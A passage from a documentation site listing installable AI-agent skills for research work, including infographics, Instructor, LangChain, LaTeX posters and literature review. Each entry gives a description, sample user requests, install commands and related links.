[`model-pruning`](/research-agent-skills/skills/model-pruning) — Reduce LLM size and accelerate inference using pruning techniques like Wanda and SparseGPT. * [`moe-training`](/research-agent-skills/skills/moe-training) — Train Mixture of Experts (MoE) models using DeepSpeed or HuggingFace. * [`nemo-curator`](/research-agent-skills/skills/nemo-curator) — GPU-accelerated data curation for LLM training. * [`ray-data`](/research-agent-skills/skills/ray-data) — Scalable data processing for ML workloads. * [`segment-anything-model`](/research-agent-skills/skills/segment-anything-model) — Foundation model for image segmentation with zero-shot transfer. * [`speculative-decoding`](/research-agent-skills/skills/speculative-decoding) — Accelerate LLM inference using speculative decoding, Medusa multiple heads, and lookahead decoding techniques. * [`stable-diffusion-image-generation`](/research-agent-skills/skills/stable-diffusion-image-generation) — Generates images with Stable Diffusion models (SD 1.5, SDXL, SD 3.0, Flux) through the HuggingFace Diffusers library, covering text-to-image, image-to-image, i… * [`whisper`](/research-agent-skills/skills/whisper) — Transcribes and translates audio with OpenAI's Whisper (openai-whisper Python package and whisper CLI), covering model sizes from tiny to large plus turbo, lan… # infographics — AI agent skill for visualization and presentation Source: https://docs.kalarislabs.com/research-agent-skills/skills/infographics Generates infographics from natural-language prompts using Nano Banana Pro image generation, with optional Perplexity Sonar research for facts and a Gemini… # `infographics` **Category:** [visualization-and-presentation](/research-agent-skills/skills#visualization-and-presentation) · **License:** MIT · **Version:** 1.7 · **Includes scripts** **Tags:** infographics, data visualization, science communication, figures ## When to use it Generates infographics from natural-language prompts using Nano Banana Pro image generation, with optional Perplexity Sonar research for facts and a Gemini 3.6 Flash quality review that regenerates only when the score is below a document-type threshold. Supports 10 types (statistical, timeline, process, comparison, list, geographic, hierarchical, anatomical, resume, social), 8 industry styles, and colorblind-safe palettes (wong, ibm, tol). Use when turning data or statistics into a visual summary. Use when building timelines, process guides, or side-by-side comparisons. Use when making geographic or organizational chart graphics. Use when producing social media or marketing visuals. Not for technical flowcharts, pathway diagrams, or CONSORT/PRISMA diagrams; use scientific-schematics instead. ## Example requests Ask your agent in plain language, for example: * *"Make me an infographic of global renewable energy share by country, 2024."* * *"I'm presenting at a lab meeting Friday. I need a one-slide visual timeline of CRISPR milestones from 2012 (Doudna/Charpentier) to the 2023 Casgevy approval. Use a colorblind-safe palette, save it to figures/crispr\_timeline.png, and I want it to be good enough for a conference talk."* * *"Our department wants a one-page graphic for the newsletter that shows how a new grant proposal moves from internal draft to sponsor submission, with the people responsible at each stage laid out in a clear visual that non-scientists can follow."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill infographics # GitHub CLI gh skill install KalarisLabs/research-agent-skills infographics ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `visualization-and-presentation` category with `/plugin install visualization-and-presentation@research-agent-skills`. ## Related * [`academic-plotting`](/research-agent-skills/skills/academic-plotting) * [`generate-image`](/research-agent-skills/skills/generate-image) * [`scientific-schematics`](/research-agent-skills/skills/scientific-schematics) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/infographics/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # instructor — AI agent skill for llm applications Source: https://docs.kalarislabs.com/research-agent-skills/skills/instructor Extracts structured, validated data from LLM responses using the Instructor Python library with Pydantic response models, including nested models, enums… # `instructor` **Category:** [llm-applications](/research-agent-skills/skills#llm-applications) · **License:** MIT · **Version:** 1.0.0 **Tags:** Prompt Engineering, Instructor, Structured Output, Pydantic, Data Extraction, JSON Parsing, Type Safety, Validation, Streaming, OpenAI, Anthropic ## When to use it Extracts structured, validated data from LLM responses using the Instructor Python library with Pydantic response models, including nested models, enums, custom validators, automatic retries with validation error feedback, and streaming of partial objects or iterables. Works with Anthropic, OpenAI, and local Ollama models. Use when pulling typed fields or entities out of free text, when classifying text into fixed categories, when an LLM must return JSON that passes schema validation, when failed extractions need automatic retry, or when streaming partial structured results. Not for prompt optimization (use DSPy) or building multi-step chains (use LangChain). ## Example requests Ask your agent in plain language, for example: * *"I have 300 free-text clinical trial abstracts. How do I get a typed Python object out of each one with sample size, intervention, and primary endpoint?"* * *"pydantic ValidationError: 1 validation error for PaperMeta, year: Input should be less than or equal to 2026 \[input\_value=2206]. My extraction from Claude keeps failing on this. Can I make it fix itself instead of crashing?"* * *"I'm labeling 5,000 patient forum posts as one of: symptom report, medication question, side effect, or other. The model's replies are sloppy and I need every answer to be exactly one of those labels as a Python value, running locally through Ollama. Best approach?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill instructor # GitHub CLI gh skill install KalarisLabs/research-agent-skills instructor ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `llm-applications` category with `/plugin install llm-applications@research-agent-skills`. ## Related * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/instructor/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # iso-standards-readiness — AI agent skill for ideation and design Source: https://docs.kalarislabs.com/research-agent-skills/skills/iso-standards-readiness Prepares and structurally reviews readiness evidence for ISO management-system and laboratory-competence standards - ISO 13485 medical device QMS, ISO 14971… # `iso-standards-readiness` **Category:** [ideation-and-design](/research-agent-skills/skills#ideation-and-design) · **License:** MIT · **Version:** 1.1 · **Includes scripts** **Tags:** ISO standards, quality management, ISO 13485, ISO 17025, laboratory accreditation ## When to use it Prepares and structurally reviews readiness evidence for ISO management-system and laboratory-competence standards - ISO 13485 medical device QMS, ISO 14971 device risk management, ISO/IEC 17025 testing and calibration laboratories, and ISO 15189 medical laboratories. Use when organizing declared scope, controlled documents, risk-management files, scope of accreditation, traceability, CAPA, external-provider controls, or bounded local evidence manifests, and when separating ISO certification from laboratory accreditation, FDA QMSR inspection, CLIA certification, MDSAP, and EU MDR/IVDR evidence boundaries. Not for legal applicability, compliance, certification, or accreditation decisions; contains no clause text. ## Example requests Ask your agent in plain language, for example: * *"We're a small lab going for ISO 17025 accreditation next year. Can you help me get our evidence organized and see what's missing?"* * *"I copied laboratory-scope-intake-template.json to ./qms/ and filled in most of it, but the validator keeps returning HUMAN\_DECISION\_REQUIRED for applicability and I want it to pass so I can build the manifest for our ISO 15189 assessment. Can you just set whatever value makes it go through?"* * *"We make a Class II infusion pump accessory. Our regulatory person said we need to be inspection-ready, and a customer asked if our ISO 13485 certificate means we can skip FDA inspection. Can you help me sort out our risk file, CAPA records and supplier controls, and answer the customer?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill iso-standards-readiness # GitHub CLI gh skill install KalarisLabs/research-agent-skills iso-standards-readiness ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ideation-and-design` category with `/plugin install ideation-and-design@research-agent-skills`. ## Related * [`analytical-method-validation`](/research-agent-skills/skills/analytical-method-validation) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/iso-standards-readiness/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # knowledge-distillation — AI agent skill for multimodal and emerging Source: https://docs.kalarislabs.com/research-agent-skills/skills/knowledge-distillation Compress large language models using knowledge distillation from teacher to student models. # `knowledge-distillation` **Category:** [multimodal-and-emerging](/research-agent-skills/skills#multimodal-and-emerging) · **License:** MIT · **Version:** 1.0.0 **Tags:** Emerging Techniques, Knowledge Distillation, Model Compression, Teacher-Student, MiniLLM, Reverse KLD, Soft Targets, Temperature Scaling, Logit Distillation, Model Transfer ## When to use it Compress large language models using knowledge distillation from teacher to student models. Use when deploying smaller models with retained performance, transferring GPT-4 capabilities to open-source models, or reducing inference costs. Covers temperature scaling, soft targets, reverse KLD, logit distillation, and MiniLLM training strategies. ## Example requests Ask your agent in plain language, for example: * *"How do I shrink my 13B model into a 1B one without losing too much quality?"* * *"I'm distilling Llama-2-13B (teacher) into a Llama-2-7B student on my instruction dataset train.jsonl. With forward KL my student produces bland, repetitive outputs. Should I move to reverse KL like MiniLLM, and how do I set the temperature and loss weights? I have 2x A100 80GB."* * *"We spend too much on GPT-4 API calls for our contract-clause classification and extraction. I want an open-source model we host ourselves that behaves similarly on this narrow task. What's a sound plan?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill knowledge-distillation # GitHub CLI gh skill install KalarisLabs/research-agent-skills knowledge-distillation ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `multimodal-and-emerging` category with `/plugin install multimodal-and-emerging@research-agent-skills`. ## Related * [`model-merging`](/research-agent-skills/skills/model-merging) * [`speculative-decoding`](/research-agent-skills/skills/speculative-decoding) * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/knowledge-distillation/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # lab-hardware-cad — AI agent skill for lab automation Source: https://docs.kalarislabs.com/research-agent-skills/skills/lab-hardware-cad Design custom laboratory hardware as parametric build123d models and export fabrication-ready STEP, STL, and DXF files - microfluidic chips and molds… # `lab-hardware-cad` **Category:** [lab-automation](/research-agent-skills/skills#lab-automation) · **License:** MIT · **Version:** 1.3 · **Includes scripts** **Tags:** lab hardware, CAD, 3D printing, microfluidics, open hardware ## When to use it Design custom laboratory hardware as parametric build123d models and export fabrication-ready STEP, STL, and DXF files - microfluidic chips and molds, optomechanical mounts and breadboard adapters, cuvette and microplate holders, tube racks, animal-behavior rigs, and 3D-printed instrument fixtures. Use when a research task needs a physical part that must mate with standardized labware, an optical table, a cage system, or a printer, CNC, or laser process. ## Example requests Ask your agent in plain language, for example: * *"I need a 3D-printable adapter that holds a standard 96-well plate on my microscope stage insert. Can you model it?"* * *"I have a PDMS mold design for a T-junction droplet generator, 50 µm tall x 100 µm wide channels, 1/16" OD tubing inlets. Write me a parametric build123d script `droplet_mold_model.py` and export STEP plus a DXF for the photomask. Our mold will be made by SLA printing because the cleanroom is booked."* * *"We want to hold a 1-inch filter in the beam path of our setup and bolt it to the optical table. I don't know what the hole spacing on our table is. What should we make?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill lab-hardware-cad # GitHub CLI gh skill install KalarisLabs/research-agent-skills lab-hardware-cad ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `lab-automation` category with `/plugin install lab-automation@research-agent-skills`. ## Related * [`fictiv`](/research-agent-skills/skills/fictiv) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/lab-hardware-cad/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # labarchive-integration — AI agent skill for lab automation Source: https://docs.kalarislabs.com/research-agent-skills/skills/labarchive-integration Securely integrate with the official LabArchives ELN REST-like API and Inventory API v1. # `labarchive-integration` **Category:** [lab-automation](/research-agent-skills/skills#lab-automation) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** electronic lab notebook, LabArchives, lab data, lab automation ## When to use it Securely integrate with the official LabArchives ELN REST-like API and Inventory API v1. Use for regional endpoint selection, signed-request construction, user authorization and UID flows, local LA container validation, and verified LabArchives integration workflows. ## Example requests Ask your agent in plain language, for example: * *"How do I sign a LabArchives API call in Python?"* * *"I'm getting an authentication failure from our university's LabArchives notebook API when I call users/user\_access\_info. We're in the UK. My script builds [https://api.labarchives.com/api/users/user\_access\_info](https://api.labarchives.com/api/users/user_access_info) and signs akid+'users/user\_access\_info'+expires with the password. What's wrong, and how should I fix it?"* * *"Our lab wants a nightly script that pulls our storage locations and vendor list out of our LabArchives inventory system into a spreadsheet. Where do I start, and what do I need to watch out for?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill labarchive-integration # GitHub CLI gh skill install KalarisLabs/research-agent-skills labarchive-integration ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `lab-automation` category with `/plugin install lab-automation@research-agent-skills`. ## Related * [`benchling-integration`](/research-agent-skills/skills/benchling-integration) * [`omero-integration`](/research-agent-skills/skills/omero-integration) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/labarchive-integration/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # lambda-labs-gpu-cloud — AI agent skill for ml inference and ops Source: https://docs.kalarislabs.com/research-agent-skills/skills/lambda-labs-gpu-cloud Reserved and on-demand GPU cloud instances for ML training and inference. # `lambda-labs-gpu-cloud` **Category:** [ml-inference-and-ops](/research-agent-skills/skills#ml-inference-and-ops) · **License:** MIT · **Version:** 1.0.0 **Tags:** Infrastructure, GPU Cloud, Training, Inference, Lambda Labs ## When to use it Reserved and on-demand GPU cloud instances for ML training and inference. Use when you need dedicated GPU instances with simple SSH access, persistent filesystems, or high-performance multi-node clusters for large-scale training. ## Example requests Ask your agent in plain language, for example: * *"How do I attach a persistent filesystem to a Lambda instance? I launched one yesterday and can't see it."* * *"I'm fine-tuning Llama-3 70B with FSDP using train.py and need a box with 8x H100 and SSH access for about 3 days. My checkpoints are \~140GB each and I don't want to lose them if I terminate. Walk me through launching it with curl against the Lambda API and getting my dataset onto it."* * *"I need to train across 128 GPUs with fast interconnect for a pretraining run. What are my options for a managed Slurm cluster with InfiniBand?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill lambda-labs-gpu-cloud # GitHub CLI gh skill install KalarisLabs/research-agent-skills lambda-labs-gpu-cloud ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-inference-and-ops` category with `/plugin install ml-inference-and-ops@research-agent-skills`. ## Related * [`modal-serverless-gpu`](/research-agent-skills/skills/modal-serverless-gpu) * [`skypilot-multi-cloud-orchestration`](/research-agent-skills/skills/skypilot-multi-cloud-orchestration) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/lambda-labs-gpu-cloud/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # lamindb — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/lamindb Use when working with LaminDB, the open-source lineage-native lakehouse for biological datasets and models. # `lamindb` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** Apache-2.0 license · **Version:** 1.2 **Tags:** data lineage, biological data, data management, ontologies, MLOps ## When to use it Use when working with LaminDB, the open-source lineage-native lakehouse for biological datasets and models. Covers setup, artifact registration, query/search, lineage tracking, validation, ontology-backed annotation with Bionty, collections, branches, storage, and workflow integrations. ## Example requests Ask your agent in plain language, for example: * *"How do I register a parquet file as an artifact in LaminDB and see which notebook produced it?"* * *"I have a 10x PBMC dataset in pbmc\_filtered.h5ad (human, 18k cells) and I'm getting 'N terms are not validated' for obs\['cell\_type'] and obs\['tissue'] when I run curator.validate(). I want to map them to Cell Ontology and Uberon before saving. What should I do?"* * *"Our lab has hundreds of flow cytometry and RNA-seq files scattered across S3 buckets. I want one place where I can filter them by tissue, donor and experiment date, and trace each processed file back to the script and inputs that made it. What setup would you suggest?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill lamindb # GitHub CLI gh skill install KalarisLabs/research-agent-skills lamindb ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [`qdrant-vector-search`](/research-agent-skills/skills/qdrant-vector-search) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/lamindb/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # langchain — AI agent skill for llm applications Source: https://docs.kalarislabs.com/research-agent-skills/skills/langchain Framework for building LLM-powered applications with agents, chains, and RAG. # `langchain` **Category:** [llm-applications](/research-agent-skills/skills#llm-applications) · **License:** MIT · **Version:** 1.0.0 · **Includes scripts** **Tags:** Agents, LangChain, RAG, Tool Calling, ReAct, Memory Management, Vector Stores, LLM Applications, Chatbots, Production ## When to use it Framework for building LLM-powered applications with agents, chains, and RAG. Supports multiple providers (OpenAI, Anthropic, Google), 500+ integrations, ReAct agents, tool calling, memory management, and vector store retrieval. Use for building chatbots, question-answering systems, autonomous agents, or RAG applications. Best for rapid prototyping and production deployments. ## Example requests Ask your agent in plain language, for example: * *"How do I make a LangChain agent that can call a web search tool?"* * *"I'm in my lab's repo with 40 PDFs of protocol papers in ./papers. I'm using langchain 0.3 with Chroma and an Anthropic model. When I query, retrieval returns chunks that cut sentences in half and the answers miss context. Can you fix my pipeline so it loads the PDFs, splits them sensibly, and answers questions with sources?"* * *"I want a chatbot for my group's wiki that remembers what was said earlier in the conversation, and I want to be able to switch between OpenAI and Gemini without rewriting everything. What should I use and how do I set it up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill langchain # GitHub CLI gh skill install KalarisLabs/research-agent-skills langchain ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `llm-applications` category with `/plugin install llm-applications@research-agent-skills`. ## Related * [`autogpt-agents`](/research-agent-skills/skills/autogpt-agents) * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/langchain/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # langsmith-observability — AI agent skill for ml inference and ops Source: https://docs.kalarislabs.com/research-agent-skills/skills/langsmith-observability LLM observability platform for tracing, evaluation, and monitoring. # `langsmith-observability` **Category:** [ml-inference-and-ops](/research-agent-skills/skills#ml-inference-and-ops) · **License:** MIT · **Version:** 1.0.0 **Tags:** Observability, LangSmith, Tracing, Evaluation, Monitoring, Debugging, Testing, LLM Ops, Production ## When to use it LLM observability platform for tracing, evaluation, and monitoring. Use when debugging LLM applications, evaluating model outputs against datasets, monitoring production systems, or building systematic testing pipelines for AI applications. ## Example requests Ask your agent in plain language, for example: * *"How do I get LangSmith tracing working on my OpenAI calls?"* * *"My RAG pipeline in rag\_pipeline.py uses Claude through the Anthropic SDK. I have 200 question/answer pairs in qa\_gold.csv and I want to run them all through it, score each answer for correctness, and compare two prompt versions in LangSmith. I'm getting 'Traces not appearing' in my project, and the runs show up under 'default'. Can you help?"* * *"Our lab's literature-summarization assistant is going to be used by about 50 grad students next month. I need to find out why some responses take 30 seconds, how much each query costs in tokens, and set it up so a failing summary gets caught before we ship a new prompt version. I'd also like to collect thumbs up/down from users. What should I set up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill langsmith-observability # GitHub CLI gh skill install KalarisLabs/research-agent-skills langsmith-observability ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-inference-and-ops` category with `/plugin install ml-inference-and-ops@research-agent-skills`. ## Related * [`phoenix-observability`](/research-agent-skills/skills/phoenix-observability) * [`llamaindex`](/research-agent-skills/skills/llamaindex) * [`nemo-guardrails`](/research-agent-skills/skills/nemo-guardrails) * [`pyvene-interventions`](/research-agent-skills/skills/pyvene-interventions) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/langsmith-observability/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # latchbio-integration — AI agent skill for lab automation Source: https://docs.kalarislabs.com/research-agent-skills/skills/latchbio-integration Build, register, debug, and operate bioinformatics workflows on Latch using the Python SDK, CLI, Latch Data and Registry, Nextflow, Snakemake, programmatic… # `latchbio-integration` **Category:** [lab-automation](/research-agent-skills/skills#lab-automation) · **License:** MIT · **Version:** 2.1 · **Includes scripts** **Tags:** bioinformatics workflows, cloud computing, Nextflow, Snakemake, Latch ## When to use it Build, register, debug, and operate bioinformatics workflows on Latch using the Python SDK, CLI, Latch Data and Registry, Nextflow, Snakemake, programmatic execution, and Latch MCP. Use when authoring or deploying Latch workflows, configuring resources or interfaces, moving data, integrating Registry, or launching and monitoring runs. ## Example requests Ask your agent in plain language, for example: * *"How do I give my Latch task more memory and a GPU?"* * *"I have a Snakemake pipeline for ATAC-seq on mouse samples (Snakefile plus config.yaml, Dockerfile already written). I want to get it onto Latch so my collaborators can launch it from a form. `latch register --snakefile Snakefile --staging` ran but it fails to find a workflow entrypoint. What's going wrong and what should I do?"* * *"We have a few hundred FASTQ files sitting in a cloud workspace and a sample table with metadata. I want to script a batch of alignment runs over them from Python, track each one until it finishes, and pull the results back into the sample table. Can you lay out the approach?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill latchbio-integration # GitHub CLI gh skill install KalarisLabs/research-agent-skills latchbio-integration ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `lab-automation` category with `/plugin install lab-automation@research-agent-skills`. ## Related * [`benchling-integration`](/research-agent-skills/skills/benchling-integration) * [`dnanexus-integration`](/research-agent-skills/skills/dnanexus-integration) * [`nextflow`](/research-agent-skills/skills/nextflow) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/latchbio-integration/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # latex-posters — AI agent skill for visualization and presentation Source: https://docs.kalarislabs.com/research-agent-skills/skills/latex-posters Creates research posters in LaTeX with beamerposter, tikzposter, or baposter, covering page sizes (A0, A1, 36x48 inch), multi-column layouts, color schemes… # `latex-posters` **Category:** [visualization-and-presentation](/research-agent-skills/skills#visualization-and-presentation) · **License:** MIT · **Version:** 1.7 · **Includes scripts** **Tags:** research posters, LaTeX, conference posters, beamerposter, academic presentations ## When to use it Creates research posters in LaTeX with beamerposter, tikzposter, or baposter, covering page sizes (A0, A1, 36x48 inch), multi-column layouts, color schemes, figure and QR code placement, and pdflatex/overfull-box checks before printing. Also guides generating poster graphics with AI schematic tools under strict element and word limits. Use when preparing a conference or symposium poster, converting a paper into a poster, building a department poster template, or fitting a conference's size rules. Use when fixing overflow or unreadable text on a compiled poster. For slide decks, use a presentation skill instead. ## Example requests Ask your agent in plain language, for example: * *"I need a poster for my lab's symposium next month, A0 portrait, 3 columns. Can you set up a LaTeX template?"* * *"My poster.tex compiled with tikzposter on 36x48 inch, but the log shows a pile of 'Overfull \hbox' warnings and the right column text runs off the edge. Figures are in figures/ at width=\linewidth. How do I fix it before sending to the print shop?"* * *"I just got my paper accepted and the conference wants a printed poster summarizing it, 841x1189 mm. I have the PDF and a few figure files. I'd like AI-made diagrams for the methods and results sections, and it must be readable from a few meters away. How should I go about it?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill latex-posters # GitHub CLI gh skill install KalarisLabs/research-agent-skills latex-posters ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `visualization-and-presentation` category with `/plugin install visualization-and-presentation@research-agent-skills`. ## Related * [`academic-plotting`](/research-agent-skills/skills/academic-plotting) * [`generate-image`](/research-agent-skills/skills/generate-image) * [`pptx-posters`](/research-agent-skills/skills/pptx-posters) * [`presenting-conference-talks`](/research-agent-skills/skills/presenting-conference-talks) * [`venue-templates`](/research-agent-skills/skills/venue-templates) * [`scientific-slides`](/research-agent-skills/skills/scientific-slides) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/latex-posters/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # liteparse — AI agent skill for literature review Source: https://docs.kalarislabs.com/research-agent-skills/skills/liteparse Local document and PDF parsing that returns spatial text with bounding boxes. # `liteparse` **Category:** [literature-review](/research-agent-skills/skills#literature-review) · **License:** Apache-2.0 · **Version:** 1.2 · **Includes scripts** **Tags:** PDF parsing, OCR, document extraction, RAG, papers ## When to use it Local document and PDF parsing that returns spatial text with bounding boxes. Use for extracting text from PDFs, DOCX, Office files, and images; running OCR on scans; producing layout-preserved JSON for RAG; batch-ingesting folders of papers; or rendering pages to PNG for multimodal agents. Distinguishing capabilities are per-token bounding boxes, page raster output, and fully local processing with no cloud API. ## Example requests Ask your agent in plain language, for example: * *"How do I get word-level bounding boxes out of a PDF locally? No cloud APIs please."* * *"I have a folder of \~300 scanned supplementary PDFs in ./supp\_pdfs/ from a proteomics project. Some are image-only scans and OCR is crawling. I need layout-preserved JSON for each, written to ./parsed/, and only pages 5-12 of each since that's where the methods are. What should I run, and how do I speed it up?"* * *"I'm building a RAG system over my lab's papers, and I want to highlight the exact region of the page where an answer came from, and also show a vision model the page image alongside it. How should I set up the ingestion?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill liteparse # GitHub CLI gh skill install KalarisLabs/research-agent-skills liteparse ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `literature-review` category with `/plugin install literature-review@research-agent-skills`. ## Related * [`open-notebook`](/research-agent-skills/skills/open-notebook) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/liteparse/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # literature-review — AI agent skill for literature review Source: https://docs.kalarislabs.com/research-agent-skills/skills/literature-review Runs systematic literature reviews by searching PubMed, arXiv, bioRxiv, and Semantic Scholar (plus web search via parallel-cli), screening studies, extracting… # `literature-review` **Category:** [literature-review](/research-agent-skills/skills#literature-review) · **License:** MIT · **Version:** 1.8 · **Includes scripts** **Tags:** literature review, systematic review, PubMed, arXiv, evidence synthesis, citations ## When to use it Runs systematic literature reviews by searching PubMed, arXiv, bioRxiv, and Semantic Scholar (plus web search via parallel-cli), screening studies, extracting data, synthesizing themes, and verifying citations with verify\_citations.py. Produces a markdown and PDF review with a PRISMA-style flow diagram and a bibliography in APA, Nature, or Vancouver style. Use when conducting a systematic or scoping review, synthesizing research on a topic, writing the literature review section of a paper or thesis, identifying research gaps, or checking citations in a review. Not for looking up a single paper or database record; use the specific database skill instead. ## Example requests Ask your agent in plain language, for example: * *"Can you do a systematic review of intermittent fasting and cognitive decline in older adults? I need a PDF at the end."* * *"I'm writing chapter 2 of my thesis on transformer-based protein language models for variant effect prediction. I've got about 40 papers in refs/plm\_papers.bib from arXiv and bioRxiv. Draft the literature review section in Vancouver style, group it by theme rather than paper-by-paper, flag research gaps, and run verify\_citations.py on the bibliography because my advisor caught two wrong DOIs last time."* * *"My lab wants to know what's actually known about microplastics crossing the blood-brain barrier and where the evidence is thin. Nobody has mapped this out yet. Can you pull together what's out there and give us something we can circulate?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill literature-review # GitHub CLI gh skill install KalarisLabs/research-agent-skills literature-review ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `literature-review` category with `/plugin install literature-review@research-agent-skills`. ## Related * [`autoskill`](/research-agent-skills/skills/autoskill) * [`citation-management`](/research-agent-skills/skills/citation-management) * [`citation-verification`](/research-agent-skills/skills/citation-verification) * [`paper-lookup`](/research-agent-skills/skills/paper-lookup) * [`systematic-review-prisma`](/research-agent-skills/skills/systematic-review-prisma) * [`markdown-mermaid-writing`](/research-agent-skills/skills/markdown-mermaid-writing) * [`paper-corpus-rag`](/research-agent-skills/skills/paper-corpus-rag) * [`parallel-web`](/research-agent-skills/skills/parallel-web) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/literature-review/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # llama-cpp — AI agent skill for ml inference and ops Source: https://docs.kalarislabs.com/research-agent-skills/skills/llama-cpp Runs LLM inference on CPU, Apple Silicon, and consumer GPUs without NVIDIA hardware. # `llama-cpp` **Category:** [ml-inference-and-ops](/research-agent-skills/skills#ml-inference-and-ops) · **License:** MIT · **Version:** 1.0.0 **Tags:** Inference Serving, Llama.cpp, CPU Inference, Apple Silicon, Edge Deployment, GGUF, Quantization, Non-NVIDIA, AMD GPUs, Intel GPUs, Embedded 